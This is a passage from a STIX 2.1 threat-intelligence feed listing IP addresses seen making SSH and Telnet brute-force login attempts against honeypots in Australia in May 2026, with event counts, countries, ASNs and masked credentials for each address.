      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272122. Organisation(s): TELECOMUNICACIONES G-NETWORK, C.A..",
      "id": "indicator--36419849-44b2-4f2a-b936-f5baf6f13313",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.17.158.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 92. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--ce155ec0-47ae-4c87-b83a-23929ee7a1b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.56.148.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited.",
      "id": "indicator--9786ed25-a484-4813-aaa9-61c350541e23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 215859. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--3de52255-964a-4f08-8dcd-5b814f20360b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.223.67.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 43766. Organisation(s): Mobile Telecommunication Company Saudi Arabia Joint-Stock company.",
      "id": "indicator--8b46176a-f8ac-4d24-9a06-8a8b11beb29f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.39.229.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--083b3a9d-3513-47d2-b7cc-50fc1066237f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8047. Organisation(s): GENERAL COMMUNICATION, INC.. Usernames observed (masked): *, ***. Passwords observed (masked): , *.",
      "id": "indicator--054a4839-67f8-411e-b6e5-bac8d10cc70a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.223.220.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 210402. Organisation(s): Hala Al Rafidain Company for Communications and Internet LTD..",
      "id": "indicator--3ddb95a6-d028-48dc-8eee-e7408fcdf197",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.106.54.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS.",
      "id": "indicator--e477337c-785a-4302-b969-080d3659ec00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.175.241.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T16:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JO. ASN(s): 9038. Organisation(s): Al Bahrainia al Urdunia Liltaknia Wa Alitisalat Plc. Co.",
      "id": "indicator--89409253-7b59-4a60-a836-a77edddd326f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.241.37.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:15:15.000Z",
      "valid_until": "2026-06-09T16:15:08.000Z"
    },
    {
      "created": "2026-05-08T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--4ddc70f3-4046-4a58-8943-818763d78aa7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.172.88.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:15:11.000Z",
      "valid_until": "2026-06-09T17:15:08.000Z"
    },
    {
      "created": "2026-05-08T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IS. ASN(s): 50613. Organisation(s): Advania Island ehf.",
      "id": "indicator--f4de8683-922b-4518-81a4-2e1e5dc15f3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.236.24.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:15:11.000Z",
      "valid_until": "2026-06-09T17:15:08.000Z"
    },
    {
      "created": "2026-05-08T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--3e9b8a73-72a5-4a17-b9b4-394377d6e39e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.58.152.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:15:11.000Z",
      "valid_until": "2026-06-09T17:15:08.000Z"
    },
    {
      "created": "2026-05-08T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 199739. Organisation(s): Earthlink Telecommunications Equipment Trading & Services DMCC.",
      "id": "indicator--fe262add-4263-47f6-bf3a-cd28c298c495",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '169.224.11.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:15:11.000Z",
      "valid_until": "2026-06-09T17:15:08.000Z"
    },
    {
      "created": "2026-05-08T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 30860. Organisation(s): Virtual Systems LLC.",
      "id": "indicator--b0af726b-a2b5-4ea1-abed-ef2277528c97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.119.25.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:15:11.000Z",
      "valid_until": "2026-06-09T17:15:08.000Z"
    },
    {
      "created": "2026-05-08T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--d6a2edb2-5fca-4f57-ac58-6857eaaf1cfa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.87.112.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:15:11.000Z",
      "valid_until": "2026-06-09T17:15:08.000Z"
    },
    {
      "created": "2026-05-08T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 6789. Organisation(s): Crelcom LLC.",
      "id": "indicator--1be30274-a5d0-452c-adb5-039a6674e2df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.109.205.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:15:11.000Z",
      "valid_until": "2026-06-09T17:15:08.000Z"
    },
    {
      "created": "2026-05-08T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--8abfc61a-f7e3-4230-a985-7b8a9d78ff4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:15:11.000Z",
      "valid_until": "2026-06-09T17:15:08.000Z"
    },
    {
      "created": "2026-05-08T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 273207. Organisation(s): WIFI-PRADO C.A.",
      "id": "indicator--33f9e433-63d8-4012-9cd8-592a6e83713e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.66.207.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:15:11.000Z",
      "valid_until": "2026-06-09T17:15:08.000Z"
    },
    {
      "created": "2026-05-08T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MR. ASN(s): 29544. Organisation(s): MAURITEL.",
      "id": "indicator--6637db92-d1e5-4037-9764-da8b2df01c53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.188.109.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:15:11.000Z",
      "valid_until": "2026-06-09T17:15:08.000Z"
    },
    {
      "created": "2026-05-08T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZW. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation.",
      "id": "indicator--0aa0cf86-2aef-4db1-a4b8-e512dcfefcd1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.244.195.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:15:11.000Z",
      "valid_until": "2026-06-09T17:15:08.000Z"
    },
    {
      "created": "2026-05-08T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RE. ASN(s): 199140. Organisation(s): Orange.",
      "id": "indicator--467632b8-fdfa-450a-82c4-7e9ca9facf36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.12.253.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:15:11.000Z",
      "valid_until": "2026-06-09T17:15:08.000Z"
    },
    {
      "created": "2026-05-08T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 33182. Organisation(s): HostDime.com, Inc..",
      "id": "indicator--14275edc-e12b-4469-ab58-1b6a52367c73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.111.187.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:15:11.000Z",
      "valid_until": "2026-06-09T17:15:08.000Z"
    },
    {
      "created": "2026-05-08T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 200019. Organisation(s): Alexhost Srl.",
      "id": "indicator--9b92476a-57d2-4f4b-8a66-16c50563e6b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.185.167.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T17:15:11.000Z",
      "valid_until": "2026-06-09T17:15:08.000Z"
    },
    {
      "created": "2026-05-08T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 322. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, u****u, a***n, 3**********4, ***. Passwords observed (masked): 1*******9, 3***********4, 3**********4, **, 1****2.",
      "id": "indicator--dea68e21-40a6-4164-bcae-7e5b4f4928dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.36.122.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:15:10.000Z",
      "valid_until": "2026-06-09T18:15:08.000Z"
    },
    {
      "created": "2026-05-08T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UG. ASN(s): 37075. Organisation(s): ZAINUGAS.",
      "id": "indicator--454e3aae-87f9-44a4-bc90-de0e4ae20811",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.86.0.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:15:10.000Z",
      "valid_until": "2026-06-09T18:15:08.000Z"
    },
    {
      "created": "2026-05-08T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 18126. Organisation(s): Chubu Telecommunications Company, Inc..",
      "id": "indicator--3fa467d0-6e96-4264-8007-e82f65e5fb46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.106.202.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:15:10.000Z",
      "valid_until": "2026-06-09T18:15:08.000Z"
    },
    {
      "created": "2026-05-08T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 310. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, a***n, 3**********4, ***, f*****r. Passwords observed (masked): 1*******9, 3***********4, 3**********4, **, 1****2.",
      "id": "indicator--caf7d13b-6494-4970-bfab-b52cf3495528",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.194.234.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:15:10.000Z",
      "valid_until": "2026-06-09T18:15:08.000Z"
    },
    {
      "created": "2026-05-08T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--33e1390f-5284-47ac-96c5-f09eaaafeb0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.161.51.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:15:10.000Z",
      "valid_until": "2026-06-09T18:15:08.000Z"
    },
    {
      "created": "2026-05-08T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--7e33fd01-e9f6-4054-83a6-3f923d0c4554",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.30.23.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:15:10.000Z",
      "valid_until": "2026-06-09T18:15:08.000Z"
    },
    {
      "created": "2026-05-08T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: XK. ASN(s): 208286. Organisation(s): Max tv SH. P. K.",
      "id": "indicator--dfb3d5ce-652e-4aee-9368-323bb285ae5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.222.138.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:15:10.000Z",
      "valid_until": "2026-06-09T18:15:08.000Z"
    },
    {
      "created": "2026-05-08T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 58291. Organisation(s): ColoCenter b.v..",
      "id": "indicator--31f6cc74-7025-4923-996f-240ea9f62730",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.79.153.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:15:10.000Z",
      "valid_until": "2026-06-09T18:15:08.000Z"
    },
    {
      "created": "2026-05-08T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC.",
      "id": "indicator--f8de0c47-0e31-4abf-8030-e9da7a256d41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '199.127.60.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:15:10.000Z",
      "valid_until": "2026-06-09T18:15:08.000Z"
    },
    {
      "created": "2026-05-08T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions.",
      "id": "indicator--b849b536-90c8-414f-9e52-98cbf6e30876",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.141.33.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:15:10.000Z",
      "valid_until": "2026-06-09T18:15:08.000Z"
    },
    {
      "created": "2026-05-08T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 49981. Organisation(s): WorldStream B.V..",
      "id": "indicator--e0a05960-d559-4865-9d0b-e918b115ca7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.23.12.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:15:10.000Z",
      "valid_until": "2026-06-09T18:15:08.000Z"
    },
    {
      "created": "2026-05-08T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--abdc6644-7312-44c5-ae60-61fbeced0913",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.163.221.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:15:10.000Z",
      "valid_until": "2026-06-09T18:15:08.000Z"
    },
    {
      "created": "2026-05-08T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 39326. Organisation(s): Syntura Group Limited.",
      "id": "indicator--3efdd102-3bcf-4bdc-b90c-9964b36a941c",
